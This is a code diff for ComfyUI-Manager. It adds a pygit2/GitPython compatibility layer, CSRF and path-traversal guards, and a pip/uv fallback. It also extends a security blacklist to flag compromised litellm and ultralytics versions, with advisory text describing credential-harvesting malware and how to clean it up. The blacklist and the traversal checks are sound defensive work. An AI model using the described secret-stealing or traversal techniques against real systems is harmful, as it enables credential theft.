try:
oid = _pygit2.Oid(hex=ref)
commit = self._repo.get(oid)
except (ValueError, Exception):
pass
if commit is None:
# Try as named reference
for candidate in [ref, f'refs/remotes/{ref}', f'refs/heads/{ref}', f'refs/tags/{ref}']:
try:
ref_obj = self._repo.references.get(candidate)
if ref_obj is not None:
commit = ref_obj.peel(_pygit2.Commit)
break
except Exception:
continue
if commit is None:
raise GitCommandError(f"Cannot resolve ref: {ref}")
self._repo.reset(commit.id, _pygit2.GIT_RESET_HARD)
def create_backup_branch(self, name):
head_commit = self._repo.head.peel(_pygit2.Commit)
self._repo.branches.local.create(name, head_commit)
def checkout(self, ref):
# ref can be a _HeadProxy from get_head_by_name
if isinstance(ref, _HeadProxy):
ref = ref.name
branch = self._repo.branches.get(ref)
if branch is not None:
branch_ref = self._repo.lookup_reference(f'refs/heads/{ref}')
self._repo.checkout(branch_ref)
self._repo.set_head(branch_ref.name)
return
for prefix in [f'refs/remotes/{ref}', f'refs/tags/{ref}']:
ref_obj = self._repo.references.get(prefix)
if ref_obj is not None:
commit = ref_obj.peel(_pygit2.Commit)
self._repo.checkout_tree(self._repo.get(commit.id))
self._repo.set_head(commit.id)
return
try:
oid = _pygit2.Oid(hex=ref)
obj = self._repo.get(oid)
if obj is not None:
commit = obj.peel(_pygit2.Commit)
self._repo.checkout_tree(self._repo.get(commit.id))
self._repo.set_head(commit.id)
return
except Exception:
pass
raise GitCommandError(f"Cannot resolve ref for checkout: {ref}")
def checkout_new_branch(self, branch_name, start_point):
commit = self._resolve_ref(start_point)
branch = self._repo.branches.local.create(branch_name, commit)
for prefix in [f'refs/remotes/{start_point}']:
remote_ref = self._repo.references.get(prefix)
if remote_ref is not None:
try:
branch.upstream = remote_ref
except Exception:
pass
break
self._repo.checkout(branch)
self._repo.set_head(branch.name)
def submodule_update(self):
try:
self._repo.submodules.init()
self._repo.submodules.update()
except Exception:
import subprocess
try:
result = subprocess.run(
['git', 'submodule', 'update', '--init', '--recursive'],
cwd=self._working_dir,
capture_output=True, timeout=120,
)
if result.returncode != 0:
raise GitCommandError(
f"submodule update failed (exit {result.returncode}): "
f"{result.stderr.decode(errors='replace')}")
except FileNotFoundError:
print("[ComfyUI-Manager] pygit2: submodule update requires system git (not installed)", file=sys.stderr)
except GitCommandError:
raise
except Exception as sub_e:
print(f"[ComfyUI-Manager] pygit2: submodule update failed: {sub_e}", file=sys.stderr)
def clear_cache(self):
pass
def fetch_remote_by_index(self, index):
remotes = list(self._repo.remotes)
self._fetch_remote(remotes[index])
def pull_remote_by_index(self, index):
remotes = list(self._repo.remotes)
remote = remotes[index]
self._fetch_remote(remote)
# After fetch, try to ff-merge tracking branch
try:
branch_name = self.active_branch_name
branch = self._repo.branches.get(branch_name)
if branch and branch.upstream:
remote_commit = branch.upstream.peel(_pygit2.Commit)
analysis, _ = self._repo.merge_analysis(remote_commit.id)
if analysis & _pygit2.GIT_MERGE_ANALYSIS_FASTFORWARD:
self._repo.checkout_tree(self._repo.get(remote_commit.id))
branch_ref = self._repo.references.get(f'refs/heads/{branch_name}')
if branch_ref is not None:
branch_ref.set_target(remote_commit.id)
self._repo.head.set_target(remote_commit.id)
except Exception:
pass
def close(self):
self._repo.free()
# ===================================================================
# Public API
# ===================================================================
def open_repo(path) -> GitRepo:
"""Open a repository and return a backend-appropriate wrapper."""
if USE_PYGIT2:
return _Pygit2Repo(path)
else:
return _GitPythonRepo(path)
def clone_repo(url, dest, progress=None):
"""Clone a repository from *url* into *dest*.
Returns a repo wrapper that the caller can use for post-clone operations
(checkout, clear_cache, close, etc.).
"""
if USE_PYGIT2:
# The proxy= kwarg requires pygit2>=1.18; omit it when no proxy is
# configured so proxy-less installs keep working on older pygit2.
# (A configured proxy still needs >=1.18 — see requirements.txt.)
if _HTTP_PROXY is not None:
_pygit2.clone_repository(_to_https_url(url), dest, proxy=_HTTP_PROXY)
else:
_pygit2.clone_repository(_to_https_url(url), dest)
repo = _Pygit2Repo(dest)
repo.submodule_update()
return repo
else:
if progress is None:
r = _git.Repo.clone_from(url, dest, recursive=True)
else:
r = _git.Repo.clone_from(url, dest, recursive=True, progress=progress)
return _GitPythonRepo(r.working_dir)
def setup_git_environment(git_exe):
"""Configure the git executable path (GitPython only)."""
if USE_PYGIT2:
return
if git_exe:
_git.Git().update_environment(GIT_PYTHON_GIT_EXECUTABLE=git_exe)
+155 -103
View File
@@ -3,12 +3,18 @@ import sys
import os
import traceback
import git
# Make git_compat importable as a standalone subprocess script
sys.path.insert(0, os.path.dirname(__file__))
from git_compat import open_repo, clone_repo, GitCommandError, setup_git_environment
import json
import yaml
import requests
from tqdm.auto import tqdm
from git.remote import RemoteProgress
try:
from git.remote import RemoteProgress
except ImportError:
RemoteProgress = object
comfy_path = os.environ.get('COMFYUI_PATH')
@@ -50,9 +56,6 @@ working_directory = os.getcwd()
if os.path.basename(working_directory) != 'custom_nodes':
print("WARN: This script should be executed in custom_nodes dir")
print(f"DBG: INFO {working_directory}")
print(f"DBG: INFO {sys.argv}")
# exit(-1)
class GitProgress(RemoteProgress):
@@ -67,68 +70,113 @@ class GitProgress(RemoteProgress):
self.pbar.refresh()
def get_backup_branch_name(repo=None):
"""Get backup branch name with current timestamp.
Inlined from timestamp_utils to keep git_helper.py standalone — this script
runs as a subprocess on Windows and must not import from comfyui_manager.
"""
import time as _time
import uuid as _uuid
base_name = f'backup_{_time.strftime("%Y%m%d_%H%M%S")}'
if repo is None:
return base_name
try:
existing_branches = {b.name for b in repo.list_heads()}
except Exception:
return base_name
if base_name not in existing_branches:
return base_name
for i in range(1, 100):
new_name = f'{base_name}_{i}'
if new_name not in existing_branches:
return new_name
return f'{base_name}_{_uuid.uuid4().hex[:6]}'
def gitclone(custom_nodes_path, url, target_hash=None, repo_path=None):
repo_name = os.path.splitext(os.path.basename(url))[0]
if repo_path is None:
repo_path = os.path.join(custom_nodes_path, repo_name)
# Clone the repository from the remote URL
repo = git.Repo.clone_from(url, repo_path, recursive=True, progress=GitProgress())
# On Windows, previous failed clones may leave directories with locked
# .git/objects/pack/* files (GitPython memory-mapped handle leak).
# Rename stale directory out of the way so clone can proceed.
if os.path.exists(repo_path):
import shutil
import uuid as _uuid
trash_dir = os.path.join(custom_nodes_path, '.disabled', '.trash')
os.makedirs(trash_dir, exist_ok=True)
trash = os.path.join(trash_dir, repo_name + f'_{_uuid.uuid4().hex[:8]}')
try:
os.rename(repo_path, trash)
shutil.rmtree(trash, ignore_errors=True)
except OSError:
shutil.rmtree(repo_path, ignore_errors=True)
# Disable tqdm progress when stderr is piped to avoid deadlock on Windows.
progress = GitProgress() if sys.stderr.isatty() else None
repo = clone_repo(url, repo_path, progress=progress)
if target_hash is not None:
print(f"CHECKOUT: {repo_name} [{target_hash}]")
repo.git.checkout(target_hash)
repo.checkout(target_hash)
repo.git.clear_cache()
repo.clear_cache()
repo.close()
def gitcheck(path, do_fetch=False):
try:
# Fetch the latest commits from the remote repository
repo = git.Repo(path)
with open_repo(path) as repo:
if repo.head.is_detached:
print("CUSTOM NODE CHECK: True")
return
current_branch = repo.active_branch
branch_name = current_branch.name
remote_name = current_branch.tracking_branch().remote_name
remote = repo.remote(name=remote_name)
if do_fetch:
remote.fetch()
# Get the current commit hash and the commit hash of the remote branch
commit_hash = repo.head.commit.hexsha
if f'{remote_name}/{branch_name}' in repo.refs:
remote_commit_hash = repo.refs[f'{remote_name}/{branch_name}'].object.hexsha
else:
print("CUSTOM NODE CHECK: True") # non default branch is treated as updatable
return
# Compare the commit hashes to determine if the local repository is behind the remote repository
if commit_hash != remote_commit_hash:
# Get the commit dates
commit_date = repo.head.commit.committed_datetime
remote_commit_date = repo.refs[f'{remote_name}/{branch_name}'].object.committed_datetime
# Compare the commit dates to determine if the local repository is behind the remote repository
if commit_date < remote_commit_date:
if repo.head_is_detached:
print("CUSTOM NODE CHECK: True")
else:
print("CUSTOM NODE CHECK: False")
return
branch_name = repo.active_branch_name
remote_name = repo.get_tracking_remote_name()
remote = repo.get_remote(remote_name)
if do_fetch:
remote.fetch()
# Get the current commit hash and the commit hash of the remote branch
commit_hash = repo.head_commit_hexsha
if repo.has_ref(f'{remote_name}/{branch_name}'):
remote_commit_hash = repo.get_ref_commit_hexsha(f'{remote_name}/{branch_name}')
else:
print("CUSTOM NODE CHECK: True") # non default branch is treated as updatable
return
# Compare the commit hashes to determine if the local repository is behind the remote repository
if commit_hash != remote_commit_hash:
# Get the commit dates
commit_date = repo.head_commit_datetime
remote_commit_date = repo.get_ref_commit_datetime(f'{remote_name}/{branch_name}')
# Compare the commit dates to determine if the local repository is behind the remote repository
if commit_date < remote_commit_date:
print("CUSTOM NODE CHECK: True")
else:
print("CUSTOM NODE CHECK: False")
except Exception as e:
print(e)
print("CUSTOM NODE CHECK: Error")
def get_remote_name(repo):
available_remotes = [remote.name for remote in repo.remotes]
available_remotes = [remote.name for remote in repo.list_remotes()]
if 'origin' in available_remotes:
return 'origin'
elif 'upstream' in available_remotes:
@@ -153,28 +201,28 @@ def switch_to_default_branch(repo):
if remote_name is None:
return False
default_branch = repo.git.symbolic_ref(f'refs/remotes/{remote_name}/HEAD').replace(f'refs/remotes/{remote_name}/', '')
repo.git.checkout(default_branch)
default_branch = repo.symbolic_ref(f'refs/remotes/{remote_name}/HEAD').replace(f'refs/remotes/{remote_name}/', '')
repo.checkout(default_branch)
return True
except Exception:
# try checkout master
# try checkout main if failed
try:
repo.git.checkout(repo.heads.master)
repo.checkout(repo.get_head_by_name('master'))
return True
except Exception:
try:
if remote_name is not None:
repo.git.checkout('-b', 'master', f'{remote_name}/master')
repo.checkout_new_branch('master', f'{remote_name}/master')
return True
except Exception:
try:
repo.git.checkout(repo.heads.main)
repo.checkout(repo.get_head_by_name('main'))
return True
except Exception:
try:
if remote_name is not None:
repo.git.checkout('-b', 'main', f'{remote_name}/main')
repo.checkout_new_branch('main', f'{remote_name}/main')
return True
except Exception:
pass
@@ -189,65 +237,67 @@ def gitpull(path):
raise ValueError('Not a git repository')
# Pull the latest changes from the remote repository
repo = git.Repo(path)
if repo.is_dirty():
print(f"STASH: '{path}' is dirty.")
repo.git.stash()
with open_repo(path) as repo:
if repo.is_dirty():
print(f"STASH: '{path}' is dirty.")
repo.stash()
commit_hash = repo.head.commit.hexsha
try:
if repo.head.is_detached:
switch_to_default_branch(repo)
commit_hash = repo.head_commit_hexsha
try:
if repo.head_is_detached:
switch_to_default_branch(repo)
current_branch = repo.active_branch
branch_name = current_branch.name
branch_name = repo.active_branch_name
remote_name = current_branch.tracking_branch().remote_name
remote = repo.remote(name=remote_name)
remote_name = repo.get_tracking_remote_name()
remote = repo.get_remote(remote_name)
if f'{remote_name}/{branch_name}' not in repo.refs:
switch_to_default_branch(repo)
current_branch = repo.active_branch
branch_name = current_branch.name
if not repo.has_ref(f'{remote_name}/{branch_name}'):
switch_to_default_branch(repo)
branch_name = repo.active_branch_name
remote.fetch()
if f'{remote_name}/{branch_name}' in repo.refs:
remote_commit_hash = repo.refs[f'{remote_name}/{branch_name}'].object.hexsha
else:
print("CUSTOM NODE PULL: Fail") # update fail
return
remote.fetch()
if repo.has_ref(f'{remote_name}/{branch_name}'):
remote_commit_hash = repo.get_ref_commit_hexsha(f'{remote_name}/{branch_name}')
else:
print("CUSTOM NODE PULL: Fail") # update fail
return
if commit_hash == remote_commit_hash:
print("CUSTOM NODE PULL: None") # there is no update
repo.close()
return
if commit_hash == remote_commit_hash:
print("CUSTOM NODE PULL: None") # there is no update
return
remote.pull()
try:
repo.pull_ff_only()
except GitCommandError:
backup_name = get_backup_branch_name(repo)
repo.create_backup_branch(backup_name)
print(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
repo.reset_hard(f'{remote_name}/{branch_name}')
print(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
repo.git.submodule('update', '--init', '--recursive')
new_commit_hash = repo.head.commit.hexsha
repo.submodule_update()
new_commit_hash = repo.head_commit_hexsha
if commit_hash != new_commit_hash:
print("CUSTOM NODE PULL: Success") # update success
else:
print("CUSTOM NODE PULL: Fail") # update fail
except Exception as e:
print(e)
print("CUSTOM NODE PULL: Fail") # unknown git error
repo.close()
if commit_hash != new_commit_hash:
print("CUSTOM NODE PULL: Success") # update success
else:
print("CUSTOM NODE PULL: Fail") # update fail
except Exception as e:
print(e)
print("CUSTOM NODE PULL: Fail") # unknown git error
def checkout_comfyui_hash(target_hash):
repo = git.Repo(comfy_path)
commit_hash = repo.head.commit.hexsha
with open_repo(comfy_path) as repo:
commit_hash = repo.head_commit_hexsha
if commit_hash != target_hash:
try:
print(f"CHECKOUT: ComfyUI [{target_hash}]")
repo.git.checkout(target_hash)
except git.GitCommandError as e:
print(f"Error checking out the ComfyUI: {str(e)}")
if commit_hash != target_hash:
try:
print(f"CHECKOUT: ComfyUI [{target_hash}]")
repo.checkout(target_hash)
except GitCommandError as e:
print(f"Error checking out the ComfyUI: {str(e)}")
def checkout_custom_node_hash(git_custom_node_infos):
@@ -309,12 +359,12 @@ def checkout_custom_node_hash(git_custom_node_infos):
need_checkout = True
if need_checkout:
repo = git.Repo(fullpath)
commit_hash = repo.head.commit.hexsha
with open_repo(fullpath) as repo:
commit_hash = repo.head_commit_hexsha
if commit_hash != item['hash']:
print(f"CHECKOUT: {repo_name} [{item['hash']}]")
repo.git.checkout(item['hash'])
if commit_hash != item['hash']:
print(f"CHECKOUT: {repo_name} [{item['hash']}]")
repo.checkout(item['hash'])
except Exception:
print(f"Failed to restore snapshots for the custom node '{path}'")
@@ -489,7 +539,7 @@ def restore_pip_snapshot(pips, options):
def setup_environment():
if git_exe_path is not None:
git.Git().update_environment(GIT_PYTHON_GIT_EXECUTABLE=git_exe_path)
setup_git_environment(git_exe_path)
setup_environment()
@@ -520,7 +570,9 @@ try:
restore_pip_snapshot(pips, options)
sys.exit(0)
except Exception as e:
print(e)
sys.exit(-1)
print(e, file=sys.stderr)
if hasattr(e, 'stderr') and e.stderr:
print(e.stderr, file=sys.stderr)
sys.exit(1)
+6
View File
@@ -74,6 +74,12 @@ def normalize_to_github_id(url) -> str:
return f"{author}/{repo_name}"
# Handle short format like "author/repo" (aux_id format)
if '/' in url and not url.startswith('http'):
parts = url.split('/')
if len(parts) == 2 and parts[0] and parts[1]:
return url
return None
+117
View File
@@ -1,8 +1,74 @@
"""Security helpers for CSRF protection and Content-Type gating.
reject_simple_form_post() is applied ONLY to POST handlers that do not consume
a request body (e.g., snapshot/save, queue/reset, queue/start, reboot). These
are vulnerable to cross-origin <form method=POST> attacks because the server
accepts the request without parsing any body — the attacker needs no ability
to forge a valid payload, only to point a hidden form at the URL.
Handlers that DO read a body via ``await request.json()`` (install/git_url,
install/pip, queue/install_model, db_mode POST, policy/update POST,
channel_url_list POST, queue/batch, queue/task, import_fail_info, etc.) are
NOT gated here — a cross-origin <form method=POST> cannot forge a valid JSON
body because the browser refuses to send ``application/json`` without a CORS
preflight, which this server rejects by not responding with an appropriate
Access-Control-Allow-Origin.
DO NOT add the gate to body-reading handlers (redundant + UX-breaking).
DO NOT remove the gate from no-body handlers (this is the bypass vector).
"""
import os
from enum import Enum
from typing import Optional
from aiohttp import web
is_personal_cloud_mode = False
handler_policy = {}
# CORS "simple request" Content-Type set per Fetch spec §3.2.3. Browsers send
# <form method=POST> submissions with one of these three MIME types and do NOT
# trigger a CORS preflight, so a malicious cross-origin page can silently POST
# into state-changing endpoints if we only gate on HTTP method. Blocking these
# three Content-Types on our mutation endpoints forces any non-same-origin POST
# to use a non-simple Content-Type (e.g. application/json), which triggers a
# preflight that this server rejects (no Access-Control-Allow-Origin response).
_SIMPLE_FORM_CONTENT_TYPES = frozenset({
'application/x-www-form-urlencoded',
'multipart/form-data',
'text/plain',
})
def reject_simple_form_post(request) -> Optional[web.Response]:
"""Reject Content-Types that enable preflight-less <form method=POST> CSRF.
These 3 MIME types are the complete CORS "simple request" Content-Type set
(Fetch spec §3.2.3 "CORS-safelisted request-header"). Blocking them
eliminates the <form method=POST> cross-origin CSRF vector, because any
other Content-Type triggers a browser-enforced CORS preflight — and this
server does not answer preflights with ``Access-Control-Allow-Origin``,
effectively blocking cross-origin requests that use non-simple types.
Returns:
web.Response(status=400) when the request has a simple-form
Content-Type that must be rejected. None when the request is allowed
to proceed (no body, application/json, or any non-simple Content-Type).
Note:
aiohttp's ``request.content_type`` normalizes the header (lower-cases,
strips parameters), so a ``multipart/form-data; boundary=----X`` header
is compared as ``multipart/form-data``.
"""
if request.content_type in _SIMPLE_FORM_CONTENT_TYPES:
return web.Response(
status=400,
text='Invalid Content-Type for this endpoint. Use application/json or omit body.',
)
return None
class HANDLER_POLICY(Enum):
MULTIPLE_REMOTE_BAN_NON_LOCAL = 1
MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD = 2
@@ -17,6 +83,25 @@ def is_loopback(address):
return False
def is_dedicated_install_allowed(flag_value: bool, listen_address: str, network_mode: str) -> bool:
"""P-direct predicate for the dedicated install flags (goal265-spec.md §1.2).
allowed iff flag AND (loopback listener OR network_mode == 'personal_cloud').
Gates the git-URL / standalone-pip install surfaces via the dedicated
``allow_git_url_install`` / ``allow_pip_install`` config flags, fully
decoupled from ``security_level`` (REPLACE, not AND — spec §1.1 inv. 1).
The network-position term retains today's invariant that a public
(non-loopback, non-personal_cloud) listener stays denied regardless of
the flags (spec §1.1 inv. 2).
Pure function — NO config access; callers resolve ``flag_value`` and
``network_mode`` through their own config reader and pass values in
(preserves common/ layering: this module must stay config-import-free).
"""
return bool(flag_value) and (is_loopback(listen_address) or network_mode.lower() == 'personal_cloud')
def do_nothing():
pass
@@ -34,3 +119,35 @@ def add_handler_policy(x, policy):
multiple_remote_alert = do_nothing
def is_safe_path_target(target: str) -> bool:
"""
Check if target string is safe from path traversal attacks.
Args:
target: User-provided filename or identifier
Returns:
True if safe, False if contains path traversal characters
"""
if '/' in target or '\\' in target or '..' in target or '\x00' in target:
return False
return True
def get_safe_file_path(target: str, base_dir: str, extension: str = ".json") -> Optional[str]:
"""
Safely construct a file path, preventing path traversal attacks.
Args:
target: User-provided filename (without extension)
base_dir: Base directory path
extension: File extension to append (default: ".json")
Returns:
Safe file path or None if input contains path traversal attempts
"""
if not is_safe_path_target(target):
return None
return os.path.join(base_dir, f"{target}{extension}")
+103 -25
View File
@@ -8,14 +8,15 @@ import aiohttp
import json
import threading
import os
from datetime import datetime
import subprocess
import sys
import re
import logging
import platform
import shlex
from packaging import version
import time
from functools import lru_cache
cache_lock = threading.Lock()
session_lock = threading.Lock()
@@ -24,6 +25,7 @@ comfyui_manager_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '
cache_dir = os.path.join(comfyui_manager_path, '.cache') # This path is also updated together in **manager_core.update_user_directory**.
use_uv = False
use_unified_resolver = False
bypass_ssl = False
def is_manager_pip_package():
@@ -38,18 +40,64 @@ def add_python_path_to_env():
os.environ['PATH'] = os.path.dirname(sys.executable)+sep+os.environ['PATH']
@lru_cache(maxsize=2)
def get_pip_cmd(force_uv=False):
"""
Get the base pip command, with automatic fallback to uv if pip is unavailable.
Args:
force_uv (bool): If True, use uv directly without trying pip
Returns:
list: Base command for pip operations
"""
embedded = 'python_embeded' in sys.executable
# Try pip first (unless forcing uv)
if not force_uv:
try:
test_cmd = [sys.executable] + (['-s'] if embedded else []) + ['-m', 'pip', '--version']
subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'pip']
except Exception:
logging.warning("[ComfyUI-Manager] python -m pip not available. Falling back to uv.")
# Try uv (either forced or pip failed)
import shutil
# Try uv as Python module
try:
test_cmd = [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv', '--version']
subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
logging.info("[ComfyUI-Manager] Using uv as Python module for pip operations.")
return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv', 'pip']
except Exception:
pass
# Try standalone uv
if shutil.which('uv'):
logging.info("[ComfyUI-Manager] Using standalone uv for pip operations.")
return ['uv', 'pip']
# Nothing worked
logging.error("[ComfyUI-Manager] Neither python -m pip nor uv are available. Cannot proceed with package operations.")
raise Exception("Neither pip nor uv are available for package management")
def make_pip_cmd(cmd):
if 'python_embeded' in sys.executable:
if use_uv:
return [sys.executable, '-s', '-m', 'uv', 'pip'] + cmd
else:
return [sys.executable, '-s', '-m', 'pip'] + cmd
else:
# FIXED: https://github.com/ltdrdata/ComfyUI-Manager/issues/1667
if use_uv:
return [sys.executable, '-m', 'uv', 'pip'] + cmd
else:
return [sys.executable, '-m', 'pip'] + cmd
"""
Create a pip command by combining the cached base pip command with the given arguments.
Args:
cmd (list): List of pip command arguments (e.g., ['install', 'package'])
Returns:
list: Complete command list ready for subprocess execution
"""
global use_uv
base_cmd = get_pip_cmd(force_uv=use_uv)
return base_cmd + cmd
# DON'T USE StrictVersion - cannot handle pre_release version
# try:
@@ -58,32 +106,62 @@ def make_pip_cmd(cmd):
# print(f"[ComfyUI-Manager] 'distutils' package not found. Activating fallback mode for compatibility.")
class StrictVersion:
def __init__(self, version_string):
self.obj = version.parse(version_string)
self.version_string = version_string
self.major = self.obj.major
self.minor = self.obj.minor
self.patch = self.obj.micro
self.major = 0
self.minor = 0
self.patch = 0
self.pre_release = None
self.parse_version_string()
def parse_version_string(self):
parts = self.version_string.split('.')
if not parts:
raise ValueError("Version string must not be empty")
self.major = int(parts[0])
self.minor = int(parts[1]) if len(parts) > 1 else 0
self.patch = int(parts[2]) if len(parts) > 2 else 0
# Handling pre-release versions if present
if len(parts) > 3:
self.pre_release = parts[3]
def __str__(self):
return self.version_string
version = f"{self.major}.{self.minor}.{self.patch}"
if self.pre_release:
version += f"-{self.pre_release}"
return version
def __eq__(self, other):
return self.obj == other.obj
return (self.major, self.minor, self.patch, self.pre_release) == \
(other.major, other.minor, other.patch, other.pre_release)
def __lt__(self, other):
return self.obj < other.obj
if (self.major, self.minor, self.patch) == (other.major, other.minor, other.patch):
return self.pre_release_compare(self.pre_release, other.pre_release) < 0
return (self.major, self.minor, self.patch) < (other.major, other.minor, other.patch)
@staticmethod
def pre_release_compare(pre1, pre2):
if pre1 == pre2:
return 0
if pre1 is None:
return 1
if pre2 is None:
return -1
return -1 if pre1 < pre2 else 1
def __le__(self, other):
return self.obj == other.obj or self.obj < other.obj
return self == other or self < other
def __gt__(self, other):
return not self.obj <= other.obj
return not self <= other
def __ge__(self, other):
return not self.obj < other.obj
return not self < other
def __ne__(self, other):
return not self.obj == other.obj
return not self == other
def simple_hash(input_string):
@@ -99,7 +177,7 @@ def is_file_created_within_one_day(file_path):
return False
file_creation_time = os.path.getctime(file_path)
current_time = datetime.now().timestamp()
current_time = time.time()
time_difference = current_time - file_creation_time
return time_difference <= 86400
+47 -6
View File
@@ -53,6 +53,40 @@ And kill and remove /tmp/ultralytics_runner
The version 8.3.41 to 8.3.42 of the Ultralytics package you installed is compromised. Please uninstall that version and reinstall the latest version.
https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situation/
""",
"litellm==1.82.7": f"""
Execute following commands:
{sys.executable} -m pip uninstall litellm
The litellm PyPI package versions 1.82.7 and 1.82.8 were compromised via a supply chain attack.
Malicious code harvests SSH keys, environment variables, API keys, cloud credentials, and exfiltrates them to an attacker-controlled server.
Version 1.82.8 also installs a .pth file that executes malware on ANY Python startup, even without importing litellm.
1. Uninstall litellm immediately.
2. Assume all credentials accessible to the litellm environment are compromised.
3. Rotate all API keys, cloud credentials, SSH keys, and database passwords.
4. Check site-packages for unexpected .pth files (e.g. litellm_init.pth) and remove them.
5. Run a full malware scan.
Details: https://github.com/BerriAI/litellm/issues/24518
Advisory: PYSEC-2026-2
""",
"litellm==1.82.8": f"""
Execute following commands:
{sys.executable} -m pip uninstall litellm
The litellm PyPI package versions 1.82.7 and 1.82.8 were compromised via a supply chain attack.
Malicious code harvests SSH keys, environment variables, API keys, cloud credentials, and exfiltrates them to an attacker-controlled server.
Version 1.82.8 also installs a .pth file that executes malware on ANY Python startup, even without importing litellm.
1. Uninstall litellm immediately.
2. Assume all credentials accessible to the litellm environment are compromised.
3. Rotate all API keys, cloud credentials, SSH keys, and database passwords.
4. Check site-packages for unexpected .pth files (e.g. litellm_init.pth) and remove them.
5. Run a full malware scan.
Details: https://github.com/BerriAI/litellm/issues/24518
Advisory: PYSEC-2026-2
"""
}
@@ -60,7 +94,10 @@ https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situati
pip_blacklist = {
"AppleBotzz": "ComfyUI_LLMVISION",
"ultralytics==8.3.41": "ultralytics==8.3.41"
"ultralytics==8.3.41": "ultralytics==8.3.41",
"ultralytics==8.3.42": "ultralytics==8.3.42",
"litellm==1.82.7": "litellm==1.82.7",
"litellm==1.82.8": "litellm==1.82.8",
}
file_blacklist = {
@@ -69,6 +106,7 @@ https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situati
}
installed_pips = subprocess.check_output(manager_util.make_pip_cmd(["freeze"]), text=True)
installed_pip_set = set(installed_pips.strip().split('\n'))
detected = set()
try:
@@ -94,9 +132,12 @@ https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situati
detected.add(v)
for k, v in pip_blacklist.items():
if k in installed_pips:
detected.add(v)
break
if '==' in k:
if k in installed_pip_set:
detected.add(v)
else:
if any(line.split('==')[0] == k for line in installed_pip_set):
detected.add(v)
for k, v in file_blacklist.items():
for x in v:
@@ -105,9 +146,9 @@ https://blog.comfy.org/comfyui-statement-on-the-ultralytics-crypto-miner-situati
break
if len(detected) > 0:
for line in installed_pips.split('\n'):
for line in installed_pip_set:
for k, v in pip_blacklist.items():
if k in line:
if ('==' in k and k == line) or ('==' not in k and line.split('==')[0] == k):
print(f"[SECURITY ALERT] '{line}' is dangerous.")
print("\n########################################################################")
-136
View File
@@ -1,136 +0,0 @@
from . import manager_util
from . import git_utils
import json
import yaml
import logging
def read_snapshot(snapshot_path):
try:
with open(snapshot_path, 'r', encoding="UTF-8") as snapshot_file:
if snapshot_path.endswith('.json'):
info = json.load(snapshot_file)
elif snapshot_path.endswith('.yaml'):
info = yaml.load(snapshot_file, Loader=yaml.SafeLoader)
info = info['custom_nodes']
return info
except Exception as e:
logging.warning(f"Failed to read snapshot file: {snapshot_path}\nError: {e}")
return None
def diff_snapshot(a, b):
if not a or not b:
return None
nodepack_diff = {
'added': {},
'removed': [],
'upgraded': {},
'downgraded': {},
'changed': []
}
pip_diff = {
'added': {},
'upgraded': {},
'downgraded': {}
}
# check: comfyui
if a.get('comfyui') != b.get('comfyui'):
nodepack_diff['changed'].append('comfyui')
# check: cnr nodes
a_cnrs = a.get('cnr_custom_nodes', {})
b_cnrs = b.get('cnr_custom_nodes', {})
if 'comfyui-manager' in a_cnrs:
del a_cnrs['comfyui-manager']
if 'comfyui-manager' in b_cnrs:
del b_cnrs['comfyui-manager']
for k, v in a_cnrs.items():
if k not in b_cnrs.keys():
nodepack_diff['removed'].append(k)
elif a_cnrs[k] != b_cnrs[k]:
a_ver = manager_util.StrictVersion(a_cnrs[k])
b_ver = manager_util.StrictVersion(b_cnrs[k])
if a_ver < b_ver:
nodepack_diff['upgraded'][k] = {'from': a_cnrs[k], 'to': b_cnrs[k]}
elif a_ver > b_ver:
nodepack_diff['downgraded'][k] = {'from': a_cnrs[k], 'to': b_cnrs[k]}
added_cnrs = set(b_cnrs.keys()) - set(a_cnrs.keys())
for k in added_cnrs:
nodepack_diff['added'][k] = b_cnrs[k]
# check: git custom nodes
a_gits = a.get('git_custom_nodes', {})
b_gits = b.get('git_custom_nodes', {})
a_gits = {git_utils.normalize_url(k): v for k, v in a_gits.items() if k.lower() != 'comfyui-manager'}
b_gits = {git_utils.normalize_url(k): v for k, v in b_gits.items() if k.lower() != 'comfyui-manager'}
for k, v in a_gits.items():
if k not in b_gits.keys():
nodepack_diff['removed'].append(k)
elif not v['disabled'] and b_gits[k]['disabled']:
nodepack_diff['removed'].append(k)
elif v['disabled'] and not b_gits[k]['disabled']:
nodepack_diff['added'].append(k)
elif v['hash'] != b_gits[k]['hash']:
a_date = v.get('commit_timestamp')
b_date = b_gits[k].get('commit_timestamp')
if a_date is not None and b_date is not None:
if a_date < b_date:
nodepack_diff['upgraded'].append(k)
elif a_date > b_date:
nodepack_diff['downgraded'].append(k)
else:
nodepack_diff['changed'].append(k)
# check: pip packages
a_pip = a.get('pips', {})
b_pip = b.get('pips', {})
for k, v in a_pip.items():
if '==' in k:
package_name, version = k.split('==', 1)
else:
package_name, version = k, None
for k2, v2 in b_pip.items():
if '==' in k2:
package_name2, version2 = k2.split('==', 1)
else:
package_name2, version2 = k2, None
if package_name.lower() == package_name2.lower():
if version != version2:
a_ver = manager_util.StrictVersion(version) if version else None
b_ver = manager_util.StrictVersion(version2) if version2 else None
if a_ver and b_ver:
if a_ver < b_ver:
pip_diff['upgraded'][package_name] = {'from': version, 'to': version2}
elif a_ver > b_ver:
pip_diff['downgraded'][package_name] = {'from': version, 'to': version2}
elif not a_ver and b_ver:
pip_diff['added'][package_name] = version2
a_pip_names = {k.split('==', 1)[0].lower() for k in a_pip.keys()}
for k in b_pip.keys():
if '==' in k:
package_name = k.split('==', 1)[0]
package_version = k.split('==', 1)[1]
else:
package_name = k
package_version = None
if package_name.lower() not in a_pip_names:
if package_version:
pip_diff['added'][package_name] = package_version
return {'nodepack_diff': nodepack_diff, 'pip_diff': pip_diff}
+136
View File
@@ -0,0 +1,136 @@
"""
Robust timestamp utilities with datetime fallback.
Some environments (especially Mac) have issues with the datetime module
due to local file name conflicts or Homebrew Python module path issues.
"""
import logging
import time as time_module
import uuid
